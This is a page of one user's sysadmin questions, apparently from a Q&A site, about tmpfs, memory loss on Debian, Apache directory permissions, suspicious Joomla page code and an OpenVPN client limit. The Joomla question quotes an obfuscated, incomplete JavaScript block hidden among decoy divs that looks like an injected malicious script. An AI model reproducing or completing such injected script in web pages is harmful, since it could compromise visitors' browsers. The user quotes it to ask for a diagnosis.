Viktor Joras's questions

I'm looking for info about mounting a tmpfs partition and sync option. Sync makes the data beeing dumped onto the disk without beeing saved in cache. This works with ext4 and other filesystems. I'm wondering is even a tmpfs partition needs the sync option to be specified or it is enabled by default since it is a RAM partition. In my option it would be odd if a ramdisk would be cached in RAM.

tmpfs /tmp tmpfs defaults,sync,noatime,nosuid,nodev,noexec,mode=0777,size=400M 0 0

In a tmpfs partition is sync enabled by default?

This is not yet another question about missing RAM because of buffers/caches. I know what buffers and caches are and I know I can purge them this easy:

sync && echo 3 > /proc/sys/vm/drop_caches.

I have upgraded Debian 8 to Debian 9 and now after the first reboot the available memory is disappearing second after second in real time till reaching 0 and the system behaviour is so bizzare I'm forced to reboot.

top and htop commands with 'M' sorting don't help since they show only innocent processes that take 0.3% of memory. So what is eating my RAM? If it is not disk caches and processes what else could it be? Is it possible that there are no tools for Linux that show me exactly what is going on with my RAM?

I'm running Debian 9 with 32GB RAM.

I wrote a script that constantly writes a lot of data on a tmpfs partition. The size of this partition is 40% of RAM. The size of the data in this partition never exceeds the 60% of the whole partition capacity. But even if in theory the setup is allright if I monitor the server during the day with "free -m" I notice that the free RAM constantly drops to the point that the servers starts swapping, the out of memory is reached and the system crashes.

This is my /etc/fstab entry:

tmpfs /home/tmpdata tmpfs defaults,size=40%,gid=1000,uid=1000,mode=0777 0 0

My system is Debian 8.3 on a dedicated server with 64GB. I suspect that the RAM never gets freed when the data changes, for example when a file is being deleted.

This is the free -m double output:

root@xxxx:~# free -m
             total       used       free     shared    buffers     cached
Mem:         64454      41792      22661       3884        280      39268
-/+ buffers/cache:       2243      62210
Swap:         1021          0       1021
root@xxxx:~# free -m
             total       used       free     shared    buffers     cached
Mem:         64454      41827      22626       3879        280      39272
-/+ buffers/cache:       2274      62179
Swap:         1021          0       1021

and /cat/meminfo:

root@xxx:~# cat /proc/meminfo
MemTotal:       66001072 kB
MemFree:        20659152 kB
MemAvailable:   59740116 kB
Buffers:          288776 kB
Cached:         42705492 kB
SwapCached:            0 kB
Active:         11959248 kB
Inactive:       32386536 kB
Active(anon):    4179904 kB
Inactive(anon):  1263864 kB
Active(file):    7779344 kB
Inactive(file): 31122672 kB
Unevictable:           0 kB
Mlocked:               0 kB
SwapTotal:       1046520 kB
SwapFree:        1046520 kB
Dirty:               288 kB
Writeback:             8 kB
AnonPages:       1353516 kB
Mapped:           120216 kB
Shmem:           4091776 kB
Slab:             483428 kB
SReclaimable:     300772 kB
SUnreclaim:       182656 kB
KernelStack:        7696 kB
PageTables:        40440 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:    34047056 kB
Committed_AS:    7712460 kB
VmallocTotal:   34359738367 kB
VmallocUsed:      389912 kB
VmallocChunk:   34359130252 kB
HardwareCorrupted:     0 kB
DirectMap4k:        6924 kB
DirectMap2M:     2056192 kB
DirectMap1G:    67108864 kB

and cat /proc/swaps:

root@xxxx:~# cat /proc/swaps
Filename                                Type            Size    Used    Priority
/dev/sdb4                               partition       523260  0       -1
/dev/sda4                               partition       523260  0       -2

This is not a question related to Indexes or folder browsing. It is about permissions.

If I execute:

if ($handle = opendir('/')) {

    while (false !== ($entry = readdir($handle))) {

        if ($entry != "." && $entry != "..") {

            echo "$entry\n";
        }
    }

    closedir($handle);
}

I can see /etc, /proc, /dev, /home, /root, /usr, /lib/, /bin, /sbin directories. This means that if a website is hacked, the hacker can see all my tree files from root on.

How can I limit the apache user to be able to see only the apache root document directory, for example /var/www/ and all the files inside it but not the /var/www parent directory?

I have a doubt abount a joomla 2.5.6 site. Once in a while I notice some stranged crypted code in the page HTML source. Something like this:

<div id="bwjolqpgqnqho" class="vhdpqfdouxwsm">b kb q bxdb bjdfar, cccw da dkbd arbhcsb mbzcl bmct bpdjas e lbuasa mawdoexcuaf cdc. l axagbqdjc ze scwdk dkcrcq eudcdee qere p cre ia ydgdv dmcpdd cu dgbyaj abbnbmbm - abbz b cagcia 'faya' rawd g edcscm ac a - datbwaue pc caa. bjciccb, s. bk beccd rdye. ve kdg dzcoae. bnac dadjcudgbz - b easchcf b mb cesaqdac, d alahbdd paacfbz ccar aycdbd budoac et cpcudkax bb cba t, a pcdbl cdc nbk dpakcea dawdk d adgemcfbyb abbbccia, c dtccbablcj; bnbjciagdndcdw eq eqdbcddfarch. d jd, ocpdfarbuaw a lb g b u bwd edxa z abb ybe awd, iahbbadbybhabclbxagbpdhc zesdda xaxa qabchadambmdxcabdb ucs aaet czdbal, ah an; cgad doeu bj cfabbk d la gcbb 35 cb aavavawb kbcaz bib kbwagb zdn akcjdcasb aaabbc gataw. cdeicdaacdaicuecdoc waial dbbhapagbmbj e r doepaca vb rddbbbdbaatcka sd kdtetelbf clajayehcr aaam akaybzdkdqc cb icbdbbkdqa ebgazda dmbbaoce afajbx btc ba. gbqdga hbhaqddcsdbbdbwaua dclbudvb ccbd ddkejacaham a. ddaerc vaucdb ncc bbbvc taj clad asb! b. aqbbchalanc cbubm bcebcoambyaebcba, b faqbxcuabcj. bme. ean, bodfaxcdaz doaobaar bhasanbibib. g cnc ddmaveebe, d adbdpd ebwd nafdyevbmdle wc taub rdrcta wa kczbvdhdeec - evesdme la b dedx dpctdmdfadcla cawcgeodtd pekacctela cawaraub cbidncmdsewe lc zerao cw, c gamabazbe areadm, cz ccbic bdddsbbdq</div>
<div id="ixoxvsjxrhw" class="vhdpqfdouxwsm">RKCoG2eSjsxstVfb</div>
<script>
var dstyivgcdrqqdx=(1929296112>2050752883?"\x6b\x77":"\x72\x76");
var nmhccirwiihn=(104472961<11000854?"\x65\x74":"re");
var lisknlunhmqet=(1186652785<445269550?"\x77\x64":"r");
nmhccirwiihn+=(531284007+653848334>327931464?"\x74\x75\x72\x6e":"h");
var zrjtzvapxzu=(14463650+610071539>61219278?"\x72\x65\x74\x75":"h");
var aszmusumizwozpig=(426160674+1361381336<387797917+1566709949?"\x72\x65":"jxt");
var izpemkvqmmobs=(950083231>1227876977?"\x70\x66":"i");
dstyivgcdrqqdx+=(493011132<452720027?"\x79\x7a":"\x3a\x31\x31");
nmhccirwiihn+=(794042046+1118740131>1233259606?"\x20":"d");
var bsgwqjlfbyrqlp=(2035779590<1136018259?"aq":"ret");
var sfqcsmbjevzhln=(312554261+65106612<187058867+677910351?"\x72":"\x72\x7a\x77");
var utwwjrxktzrx=(114217555+1954790718>894395565?"[]":"\x6f\x6b");
var iolbbxrrjeidgrp=(303028237+550171059<514432896+821377708?"\x72":"\x74");
iolbbxrrjeidgrp+=(499985427>889587822?"nok":"\x65\x74\x75\x72\x6e");
var kqmuuyelqyxqfz=(1527911828+613124032<663145577+1481136903?"f":"p");
utwwjrxktzrx+=(1536082584>1934435039?"xh":"\x5b\x75\x79");
var tzrjfsqughnav=(796279552+607718112>17600193?"\x72":"mj");
kqmuuyelqyxqfz+=(1697844671+167811137<1412837828+546852759?"\x75":"\x76\x65");
utwwjrxktzrx+=(60945469>1170273576?"w":"\x75\x6f");
zrjtzvapxzu+=(1251932751+160236872<947197532+500098101?"rn":"us");
kqmuuyelqyxqfz+=(1710202476+289532444<928257733+1147619777?"n":"\x7a\x77");
var idxxspyqjdhtws=(1205489743+143021423<964968493+774463552?"ret":"\x6f\x65\x66");
var ixoxvsjxrhw=(503914128+831334202>754056605?"\x69\x78\x6f":"gi");
tzrjfsqughnav+=(175195049+91195650>199815031?"\x65\x74":"rk");
idxxspyqjdhtws+=(998203113>1543504395?"\x73\x71":"u");
aszmusumizwozpig+=(1183542335+117680842<615936676+1097840178?"\x74\x75\x72\x6e":"\x70\x72");
iolbbxrrjeidgrp+=(1417804280<956308750?"ser":" ");
nmhccirwiihn+=(1275596373+304125062<938435994+1190623659?"i":"s");
var rcnaswwbdim=(1604120453<1554370323?"\x66\x73":"\x72\x65\x74");
var lvjbjpqohpl=(109054309+35702381<263995810+676605071?"\x72":"f");
utwwjrxktzrx+=(995689741>2028647691?"st":"w");

var muflxttvhbex=[dstyivgcdrqqdx, aplkenurwllomp,];
for (zjbwmhyuoepma=thrxwuwdiaqq; edrpvfucpe(zjbwmhyuoepma,ctjtpxekjsbrnt(muflxttvhbex)); zjbwmhyuoepma++)
{
    if (edrpvfucpe((+[window.sidebar]),bjscvqbtkrcf(utcexmovlgf(zjbwmhyuoepma),muflxttvhbex[zjbwmhyuoepma])))
    {
        wenqrusckvqv=tmwjgjdehfebi(ctjtpxekjsbrnt(muflxttvhbex), zjbwmhyuoepma);
        break;
    }
}</script>
<div class="vhdpqfdouxwsm">by cvekdycuc ceicqendacwcvczdzdwdlcdes dkdvcxeld xcfc; yepea. eg csd k cbd veccw, d wcyeocqebdd cyeb cvb zcobzd kdfcadgdud. ye hep dyc tedcve jdte sdx crejcz. e acudjdldxdbd bcecpepb xby, czcsdycdcact cpc edvdfdacod vcr e. b d a by coeoeac ocpe kcacrehcoc sefepe qb yc pes</div>
<script>
for (zjbwmhyuoepma=thrxwuwdiaqq; edrpvfucpe(zjbwmhyuoepma, ctjtpxekjsbrnt(bicxcttzqmg)); zjbwmhyuoepma=wybnybknfgac(zjbwmhyuoepma, xbvdbcshcctsgdxd))
{
    var ysmxkecizsyq=yvmzahgdgrtno(bicxcttzqmg, zjbwmhyuoepma);
    if (wettklooonrumf(dtjvvrebndhszo(46*wenqrusckvqv + 5, ysmxkecizsyq), dtjvvrebndhszo(ysmxkecizsyq, 52*wenqrusckvqv + 18)))
    {
        if (vynawhmpavrzx(ifajvnijackoa, wenqrusckvqv))
        {
            lcxnvxkmfihz=wybnybknfgac(lcxnvxkmfihz, myrttyhlwgbhon(vynawhmpavrzx((mvdcltcvebpo(wybnybknfgac(nlzjcpleylbraq, tmwjgjdehfebi(ysmxkecizsyq, 46*wenqrusckvqv + 5)), yvmzahgdgrtno(wfnqmuukgcio, vynawhmpavrzx(lrrmwfxzyrc, ctjtpxekjsbrnt(wfnqmuukgcio))))), 94*wenqrusckvqv + 67)));
            lrrmwfxzyrc=wybnybknfgac(lrrmwfxzyrc, xbvdbcshcctsgdxd);
        }
        else
        {
            nlzjcpleylbraq=ziesauzqqjdi(12*wenqrusckvqv + 2, tmwjgjdehfebi(ysmxkecizsyq, 46*wenqrusckvqv + 5));
        }
        ifajvnijackoa=wybnybknfgac(ifajvnijackoa, xbvdbcshcctsgdxd);
    }
}

I don't know if this a legit code generated from some module or the result of a hack.

For same strange reason the number of concurrent clients that can connect to my openvpn server is limited to 70. No matter what parameter I change in server.conf the limit does not change. If I try to connect the 71st client errors like

openvpn needs a gateway parameter

or

dev tun also requires ifconfig

show up. If I restart openvpn server than the 71st client connects without errors.

There are a lot of UNDEF entries in my openvpn-status.log.

Here is my server.conf:

port 42000
proto udp
dev tun
ca /etc/openvpn/certs/ca.crt
cert /etc/openvpn/certs/server.crt
key /etc/openvpn/certs/server.key  # This file should be kept secret
dh /etc/openvpn/certs/dh1024.pem
server 10.9.0.0 255.255.0.0
ifconfig-pool-persist ipp.txt
keepalive 10 120
max-clients 300
persist-key
persist-tun
verb 3
client-config-dir /etc/openvpn/staticclients
client-to-client
route 10.9.0.0 255.255.0.0 10.9.0.1

and my typical client.conf:

client
dev tun
proto udp
remote host.domain.com 42000
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client-pc.crt
key client-pc.key
remote-cert-tls server
verb 3

Am I missing something?